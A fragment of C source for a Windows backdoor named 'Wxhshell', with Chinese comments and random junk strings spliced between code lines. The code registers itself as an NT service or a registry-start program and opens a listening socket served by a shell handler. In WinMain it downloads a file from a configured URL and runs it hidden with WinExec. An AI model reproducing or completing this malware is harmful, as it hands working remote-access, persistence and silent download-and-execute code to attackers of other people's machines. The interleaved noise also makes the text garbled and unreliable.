UNq[sQ E;^~} if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); w>$2 xQ7-4N, CloseHandle(hProcess); m>@ *-*8k O&u[^s/^ if(strstr(procName,"services")) return 1; // 以服务启动 a).bk!G Z 2u5n`K return 0; // 注册表启动 #97w6,P+ } f_GqJ7Gk] Z&R{jQ, // 主模块 ;.P9t`* int StartWxhshell(LPSTR lpCmdLine) ]za1=~[ { AT4G]pT SOCKET wsl; mOvwdRKn BOOL val=TRUE; +c^[[ K" int port=0; C@i4[g){ struct sockaddr_in door; bC@9
*/i ' |> if(wscfg.ws_autoins) Install(); -I#1xJU Q+UqLass port=atoi(lpCmdLine); lnoK.Vk9, ]OKs65 if(port<=0) port=wscfg.ws_port; vo_m$ /O PI0[ WSADATA data; e8"?Qm7 J if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; GY%48}7 .oFkx*Ln if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; >>C(y?g setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); HO(9)sK door.sin_family = AF_INET; ^q0Ox&X door.sin_addr.s_addr = inet_addr("127.0.0.1"); $pm5G} . door.sin_port = htons(port); Z@I.socA k6vY/)-S if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { E#=slj@ closesocket(wsl); r!vSYgee return 1; `kdP)lI
` } 7TjK;w7xS. 7#BpGQJQ if(listen(wsl,2) == INVALID_SOCKET) { hw [G closesocket(wsl); "`AIU}[_I return 1; UlN+ } D20n'>ddg Wxhshell(wsl); 71?>~PnbH} WSACleanup(); L-lDvc?5c :3# t; return 0; ;-1yG@KG ,nELWzz%{ } v<z%\`y A9[ELD>p // 以NT服务方式启动 x;cjl6Acm VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 'bpx { M#Vl{ b DWORD status = 0; 9_mys}+ DWORD specificError = 0xfffffff; "&ElKy
7j vq~btc.p{& serviceStatus.dwServiceType = SERVICE_WIN32; p9[J9D3~ serviceStatus.dwCurrentState = SERVICE_START_PENDING; > T,^n
{_v serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; H *gF>1 serviceStatus.dwWin32ExitCode = 0; G#&R/Tc5N serviceStatus.dwServiceSpecificExitCode = 0; G:e9} serviceStatus.dwCheckPoint = 0; %hzl3>(). serviceStatus.dwWaitHint = 0; b=!G3wVw< A7!=`yA$ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 8%s_~Yc if (hServiceStatusHandle==0) return; JR1/\F<} 0\*6UH status = GetLastError(); (q!tI*} if (status!=NO_ERROR) xA-O?s"CY { RSLMO8 serviceStatus.dwCurrentState = SERVICE_STOPPED; Jp<Y2- serviceStatus.dwCheckPoint = 0; TixXA:Mf serviceStatus.dwWaitHint = 0; BK>uJv-qU serviceStatus.dwWin32ExitCode = status; 8lo /BGxS> serviceStatus.dwServiceSpecificExitCode = specificError; {BBL`tg60 SetServiceStatus(hServiceStatusHandle, &serviceStatus); Azun"F_f return; [WDtr8L } AKVll gu[3L serviceStatus.dwCurrentState = SERVICE_RUNNING; h^h!OQK Q serviceStatus.dwCheckPoint = 0; DbdxHuKa> serviceStatus.dwWaitHint = 0; !YlyUHD if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); );*A$C9RA } E }aTH 5fK#*(x // 处理NT服务事件,比如:启动、停止 LY%`O#i. VOID WINAPI NTServiceHandler(DWORD fdwControl) Cebl"3Q { -t, .A/? switch(fdwControl) "Ldi<xq%xl { }\E2Z[ case SERVICE_CONTROL_STOP: smLXNO serviceStatus.dwWin32ExitCode = 0; [.O3z*[9# serviceStatus.dwCurrentState = SERVICE_STOPPED; +SGM3tY serviceStatus.dwCheckPoint = 0; 1k2+eI serviceStatus.dwWaitHint = 0; :?VM1!~ga { E4^zW_|xE SetServiceStatus(hServiceStatusHandle, &serviceStatus); oe$Y=` } $2=-Q/lM return; Nb2]}; O case SERVICE_CONTROL_PAUSE: lS.*/u*5 serviceStatus.dwCurrentState = SERVICE_PAUSED; <!#6c :(Q break; 6>! ;g'k case SERVICE_CONTROL_CONTINUE: ho#]i$b}f2 serviceStatus.dwCurrentState = SERVICE_RUNNING; MXWCYi break; -z]v"gF?Px case SERVICE_CONTROL_INTERROGATE: o7N3:) break; J;pn5k~3 }; Tti]H9g_ SetServiceStatus(hServiceStatusHandle, &serviceStatus); N'nI
^= } ]Ma2*E!p $*ujX,}xG // 标准应用程序主函数 zT[[WY4 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ] 8sVXZ { K8{U b F2yc&mXyk // 获取操作系统版本 |kL^k{=zV OsIsNt=GetOsVer(); ^Jb=&u$ GetModuleFileName(NULL,ExeFile,MAX_PATH); wXv\[zL` \K+LKa) // 从命令行安装 }v[*V if(strpbrk(lpCmdLine,"iI")) Install(); z\Vu`Yz Fa`/i v // 下载执行文件 &BnK[Q8X if(wscfg.ws_downexe) { 9*gD;) ! if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) PT7L65 WinExec(wscfg.ws_filenam,SW_HIDE); E\2| } )J& |